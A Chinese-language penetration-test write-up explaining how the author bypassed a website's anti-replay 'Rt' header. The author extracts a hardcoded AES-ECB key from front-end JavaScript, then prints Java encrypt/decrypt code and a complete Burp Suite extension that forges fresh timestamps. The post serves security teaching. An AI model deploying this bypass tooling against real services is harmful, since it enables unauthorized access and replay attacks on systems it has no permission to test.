写点什么

有手就会?记一次绕过防重放的漏洞挖掘

作者:权说安全
  • 2024-04-08
    江苏
  • 本文字数:3788 字

    阅读完需:约 12 分钟

有手就会?记一次绕过防重放的漏洞挖掘

1


前言


随着当前攻防水平的不断提高,实战攻防过程中,经常能遇到前端的参数被各种各样的方式加密的情况。毫无疑问,这种方式能够防止很多脚本小子的脚步,但是很多网站就存在“金玉其外,败絮其内“的情况,将传递的参数加密了事,忽略很多系统本身存在的安全风险。本文以实战角度出发,介绍面对这种防重放的情况下的攻防技巧。


2


背景


某次渗透测试项目,笔者经过测试发现该网站部分关键数据包使用 JS 加密,并且请求包还添加相关参数用来防止重放数据包的情况,这种机制可以阻挡很多非必要的攻击。但是对渗透测试人员来说,这种技能也是应该具备的。


3


收集信息


拿到项目后,首先针对目标进行访问,如下图所示:


随便拼接一下攻击姿势,发现存在某云 WAF 情况。一般遇到这种情况思路转变为,以逻辑漏洞为主,授权漏洞为辅,结合信息泄露等漏洞结束本次项目。接下来就要考虑如何信息收集,针对这种网站,单纯的目录扫描已经不适合,我的思路有两个,一个是通过前端 JS 进行收集,另外针对接口进行 FUZZ。打开 JS 文件,一发入魂,上来就把所有接口给我了,这合理吗?这才是日常,挺合理的:

直接上工具,对 JS 文件进行一番搜索,考虑到 WAF 存在,笔者悄悄地进村,线程调到 1,开始进攻!结果大概如下图所示:


总结一下,笔者现在有了,所有功能的 URL 路径,所有的接口路径,加上笔者收集的 JS 信息,万事俱备!


4


绕过防重放字段


结合笔者已有的信息,接下来开始正式测试:首先尝试登录功能点测试:


登录框测试的思路已经烂熟于心,看我手到擒来。利用 BURP 代理抓包,讲究一个稳准。再重放一下数据包,突然发现重放数据包会提示 410,


笔者测试过程中还比较好奇,怎么会这么自信把所有 URL 明文在前端展示呢,这里还是有防护的:POST /api/sms/sendsms HTTP/2Host: xxxContent-Length: 73Sec-Ch-Ua: "Chromium";v="113", "Not-A.Brand";v="24"Sec-Ch-Ua-Mobile: ?0Authorization: Bearer nullRt: /5asJSe+gKXuuIdOsOg6kw==Content-Type: application/jsonAccept: application/json, text/javascript, /; q=0.01User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36Api-Version: 1.0Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9


{"phone":"1888888881","smsTypes":2,"uniqueId":"1684756825417","code":""}通过对 Header 头进行分析,发现其中 RT 参数正是其中关键字段,主要用来防止数据包重放,现在就需要看看这个 RT 参数从何而来。经过对 JS 代码的分析,发现了如下代码:var aeskey2 = '1122334455667788';xxxxxfunction encryptRt(data) {var key = CryptoJS.enc.Utf8.parse(aeskey2);// 加密 var encryptedData = CryptoJS.AES.encrypt(data, key, {mode: CryptoJS.mode.ECB,padding: CryptoJS.pad.Pkcs7});return encryptedData + '';}xxx 经过对该代码的分析,发现 Rt 参数正是通过 aes 方式进行加密,并且获得其中的 key 和加密逻辑。接下来各显神通,笔者使用 java 撸了一份解密代码:import org.bouncycastle.jce.provider.BouncyCastleProvider;


import javax.crypto.Cipher;import javax.crypto.spec.IvParameterSpec;import javax.crypto.spec.SecretKeySpec;import java.security.Security;import java.util.Base64;


public class AESUtils {static {Security.addProvider(new BouncyCastleProvider());}


public static String decryptData(String data, String key) throws Exception {    byte[] keyBytes = key.getBytes("UTF-8");    SecretKeySpec keySpec = new SecretKeySpec(keyBytes, "AES");    Cipher cipher = Cipher.getInstance("AES/ECB/PKCS7Padding");    cipher.init(Cipher.DECRYPT_MODE, keySpec);    byte[] decrypted = cipher.doFinal(Base64.getDecoder().decode(data));    return new String(decrypted, "UTF-8");}
public static void main(String[] args) throws Exception {

String aesKey = "1122334455667788"; String data = "/5asJSe+gKXuuIdOsOg6kw=="; String decryptData = decryptData(data, aesKey); System.out.println(decryptData);
复制代码



通过对 Rt 头参数进行解密,发现其参数是时间戳,那么现在笔者就知道这套逻辑,通过 Rt 参数对当前数据包进行防重放校验,笔者完善一下完整加解密代码:import org.bouncycastle.jce.provider.BouncyCastleProvider;


import javax.crypto.Cipher;import javax.crypto.spec.IvParameterSpec;import javax.crypto.spec.SecretKeySpec;import java.security.Security;import java.util.Base64;


public class AESUtils {static {Security.addProvider(new BouncyCastleProvider());}public static String encryptData(String data, String key) throws Exception {byte[] keyBytes = key.getBytes("UTF-8");SecretKeySpec keySpec = new SecretKeySpec(keyBytes, "AES");Cipher cipher = Cipher.getInstance("AES/ECB/PKCS7Padding");cipher.init(Cipher.ENCRYPT_MODE, keySpec);byte[] encrypted = cipher.doFinal(data.getBytes("UTF-8"));return Base64.getEncoder().encodeToString(encrypted);}


public static String decryptData(String data, String key) throws Exception {    byte[] keyBytes = key.getBytes("UTF-8");    SecretKeySpec keySpec = new SecretKeySpec(keyBytes, "AES");    Cipher cipher = Cipher.getInstance("AES/ECB/PKCS7Padding");    cipher.init(Cipher.DECRYPT_MODE, keySpec);    byte[] decrypted = cipher.doFinal(Base64.getDecoder().decode(data));    return new String(decrypted, "UTF-8");}
复制代码


进行测试,效果符合预期。


截止到目前笔者已经了解了 Rt 参数的前世今生,现在考虑如何更方便的开展笔者的渗透工作。


5


封装插件,开始渗透


已经知道 RT 参数的前世今生,现在封装 Burp 插件,绕过 RT 校验!关于如何写 Burp 插件参考文末文章,这里主要写两个地方:1,如何调用 BURP 接口,替换 RT 参数 2,如何调用笔者的加密逻辑。在 BURP 插件的开发过程中,目录结构如下,笔者只需要添加一个加密逻辑的 java 文件,然后在 BurpExtender 中直接调用即可。


将笔者的加密逻辑命名为 ReplaceRT,接着写 Burpextender 即可。package burp;


import java.io.PrintWriter;import java.util.Arrays;import java.util.List;


public class BurpExtender implements IBurpExtender, IHttpListener{private IBurpExtenderCallbacks callbacks;private IExtensionHelpers helpers;private PrintWriter stdout;private PrintWriter mStdOut;


// implement IBurpExtender@Overridepublic void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks)
复制代码


{stdout = new PrintWriter(callbacks.getStdout(), true);


    this.callbacks = callbacks;    helpers = callbacks.getHelpers();    callbacks.setExtensionName("Rt_replace_Demo");    callbacks.registerHttpListener(this);    //this.mStdOut.println("Author: fu11y");}
@Override
public void processHttpMessage(int toolFlag,boolean messageIsRequest,IHttpRequestResponse messageInfo)
复制代码


{try{if (toolFlag == 64 || toolFlag == 16 || toolFlag == 32 || toolFlag == 4){if (messageIsRequest){IRequestInfo analyzeRequest = helpers.analyzeRequest(messageInfo);String request = new String(messageInfo.getRequest());byte[] body = request.substring(analyzeRequest.getBodyOffset()).getBytes();List<String> headers = analyzeRequest.getHeaders();


                for(String header : headers){                    stdout.println("header"+header);                    if(header.startsWith("Rt")){                        headers.remove(header);                        break;                    }                }
long currentTimestampSeconds = System.currentTimeMillis(); String aesKey = "1122334455667788"; String data = String.valueOf(currentTimestampSeconds); String Rt = "Rt: "+ReplaceRt.encryptData(data,aesKey);// 替换header中的Rt
headers.add(Rt); stdout.println(Rt); byte[] new_Request = helpers.buildHttpMessage(headers,body); stdout.println(helpers.analyzeRequest(new_Request).getHeaders()); messageInfo.setRequest(new_Request); } } } catch(Exception e){ stdout.println(e); }
}
复制代码


}打 jar 包,导入到 burp 中一气呵成,闲庭信步,那么到现在,笔者就拥有了绕过防重放的 burp 插件包,效果如下:图片已经是可以重放了,结合之前泄露的 URL 和接口信息,开测!还记得之前的思路吗?接下来针对之前搜集的 JS 资产开始一个一个测试:成果如下:未授权信息枚举,未授权文件上传;



点到为止,本次收工。


6


总结


如今渗透测试过程中经常能遇到前端加密和防止重放的情况,针对这种,通过 JS 分析出加密方法,结合具体业务,一般都能拿到比较不错的收获。

用户头像

权说安全

关注

专注零信任、网络安全 2022-04-28 加入

公众号【江苏易安联】【易安联安全云】

评论

发布
暂无评论
有手就会?记一次绕过防重放的漏洞挖掘_漏洞挖掘_权说安全_InfoQ写作社区